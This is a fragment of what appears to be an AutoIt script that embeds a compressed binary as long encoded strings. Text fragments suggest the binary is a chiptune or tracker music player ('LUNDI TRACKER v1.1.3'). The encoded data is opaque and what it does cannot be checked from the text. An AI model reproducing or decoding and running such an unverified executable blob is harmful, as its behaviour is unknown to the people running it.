QgoWgEoGEgoCDYBMghYCGhIdwE4mUAJCQkZCSlJOQAJSUlYSQgJGAAJKEk4CUhJWEAJaAl4iYjJlVAAARARECFQMRIAQVBUUAwZMFAwABBAUFBQYBBwAJCA0JERAVEQAVEhETFRQRFQABEAURBRIBEwAFFAEVARYFFwANGAkZMSA1IQA1IjEjNSQxJQAhICUhJSIhIwAlJCElISYlJwAtKCkpNTAxMQAxMjUzMTQ1NQAlMCExITIlMwAhNCU1JTYhNwApOC05EUAVQQAVQhFDFUQRRQABQAVBBUIBQwAFRAFFAUYFRwANSAlJFVARUQARUhVTEVQVVQAFUAFRAVIFUwABVAVVBVYBVwAJWA1ZNWAxYQAxYjVjMWQ1ZQAlYCFhIWIlYwAhZCVlJWYhZwApaC1pMXA1cQA1cjFzNXQxdQAhcCVxJXIhcwAldCF1IXYldwAteCl5kYCVgQCVgpGDlYSRhQCBgIWBhYKBgwCFhIGFgYaFhwCNiImJlZCRkQCRkpWTkZSVlQCFkIGRgZKFkwCBlIWVhZaBlwCJmI2ZtaCxoQCxorWjsaS1pQCloKGhoaKlowChpKWlpaahpwCpqK2psbC1sQC1srGztbSxtQChsKWxpbKhswCltKG1obaltwCtuKm5lcCRwQCRwpXDkcSVxQCFwIHBgcKFwwCBxIXFhcaBxwCJyI3JkdCV0QCV0pHTldSR1QCB0IXRhdKB0wCF1IHV' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= '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